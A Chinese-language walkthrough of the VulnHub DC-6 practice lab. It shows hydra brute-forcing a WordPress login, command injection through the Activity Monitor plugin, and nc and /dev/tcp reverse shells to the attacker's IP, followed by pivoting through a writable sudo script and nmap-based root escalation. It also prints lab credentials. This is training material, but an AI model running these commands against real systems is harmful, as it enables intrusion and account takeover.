目录
一、测试环境
1、系统环境
渗透机:kali2021.1(192.168.202.134)
靶 机:Linux dc-6 4.9.0-8-amd64
2、使用工具/软件
Kali: arp-scan(主机探测)、nmap(端口和服务扫描)、gobuster(目录遍历)、nc(反弹shell连接)、ssh(远程连接靶机)、cmseek(识别cms)、hydra(爆破用户密码)、searchspoilt(寻找poc)
测试网址:http://wordy/
靶机下载地址:https://vulnhub.com/entry/dc-6,315/ (有提示)
二、测试目的
渗透靶机,通过密码爆破进入后台,通过wordpress插件的漏洞getshell;在靶机内找到graham用户的密码;在graham用户下越权到jens用户,在jens用户下通过nmap提权
三、操作过程
官网靶机页面有提示,是生成密码字典的命令
cat /usr/share/wordlists/rockyou.txt | grep k01> passwords.txt
1、信息搜集
主机探测
arp-scan -l
获取到靶机的IP为:192.168.202.160
端口和服务探测
nmap -sS -A -T4 -p- 192.168.202.160
探测到22端口(ssh)和80端口(web)
页面重定向到了 http://wordy/ ;需要设置hosts不然浏览器访问不到
设置系统hosts以可以浏览器访问web页面
Windows下路径:C:\Windows\System32\drivers\etc\hosts
Linux下路径:/etc/hosts
添加一条记录
192.168.202.160 wordy
目录扫描
gobuster dir -u http://192.168.202.160/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,jsp,html,txt
可以看到这是wordpress的网页目录
使用cmseek查看wordpress的信息
cmseek -u http://192.168.202.160
Cmseek工具可以提取web的cms信息
提取到了五个用户名:
sarah/jens/mark/graham/admin
爆破WP密码
结合提示的生成密码字典命令:
cat /usr/share/wordlists/rockyou.txt | grep k01> passwords.txt
下一步就是爆破密码了,这个提示会让爆破时间缩小到1分钟内
将用户名保存为user.txt
使用hydra爆破wordpress
hydra 192.168.202.160 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&rememberme=forever&wp-submit=Log+In&redirect_to=http%3A%2F%2Fwordy%2Fwp-admin%2F&testcookie=1:incorrect" -L user.txt -P passwords.txt
http-post-form: 指定攻击类型为http post表单;
"/wp-login.php:log=^USER^&pwd=^PASS^&rememberme=forever&wp-submit=Log+In&redirect_to=http%3A%2F%2Fwordy%2Fwp-admin%2F&testcookie=1:incorrect" : 指定要攻击的表单的url和字段(抓包获取),后面加:incorrect;
^USER^ 和 ^PASS^ : 是占位符,分别是用户名和密码的,字典爆破的两个参数位置就在这里。
爆破出一个用户名密码
mark/helpdesk01
2、Getshell
Mark用户成功登录后台
看到使用了activity monitor插件
尝试寻找插件的漏洞
发现存在漏洞的,使用python的exp没运行成功
查看html的exp
发现这个rce漏洞在插件的ip的输入框中,可拼接命令执行
找到这个页面
activity monitor-->tools-->输入框
查看网页源码根据name=ip,确定就是这个框
尝试poc
baidu.com | ls
可以看到ls命令成功执行了
使用f12修改即可
将maxlength的值修改为空,解除输入长度限制
在value中拼接nc命令远程连接
nc -e /bin/bash 192.168.202.134 666
Kali开启监听,成功getshell
获取交互式shell
SHELL=/bin/bash script /dev/null
查看用户文件时,发现有四个普通用户,家目录可能有提示
在mark用户家目录下,发现信息
graham/GSo7isUM1D4
可以ssh登录graham用户了
3、提权
Ssh登录graham用户
查看sudo权限时,发现可以作为jens用户执行/home/jens/backups.sh文件
那么,就可以越权到jens用户了
写入nc命令,执行时反弹到jens用户
echo '#!/bin/bash
> bash -i >& /dev/tcp/192.168.202.134/666 0>&1' > /home/jens/backups.sh
打出换行符方法:
可以使用ctrl+v 加回车 在bash打出换行符
也可以使用echo的-e参数 可以识别换行
echo -e "#!/bin/bash\nbash -i >& /dev/tcp/192.168.202.134/666 0>&1" > /home/jens/backups.sh
echo命令 重定向参数
> 会覆盖原有的内容
>> 会在文末追加内容
因此,也可以直接在文件末尾添加反弹shell命令,不用再输入#!/bin/bash了
echo bash -i >& /dev/tcp/192.168.202.134/666 0>&1' >> /home/jens/backups.sh
越权jens用户
sudo -u jens /home/jens/backups.sh
-u参数:可以以指定用户权限执行
以jens用户执行backups.sh文件,开启监听,监听到jens的shell
在jens用户,查看sudo权限
发现可以以root身份使用nmap,可以用来提权
查找nmap的sudo提权方法
提权方法网站:https://gtfobins.github.io/gtfobins/nmap/
这里nmap版本是7.40,使用第一个方法可以提权
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF
成功获取root权限
获取flag
四、结论
需要查看靶机的官方信息,不然错过提示的话,就很难进行渗透了;
Wordpress的插件也有很多漏洞,可以找插件漏洞;
Linux权限中,可以以其他用户执行文件,就可能越权;
熟悉打靶流程的话,注重思路的总结,思路也要灵活;注重积累好用的查询知识的方法,我们这个行业想记住所有的知识是不可能的,只要能快速找到知识并理解明白即可。
没有完美的系统,总会存在bug的。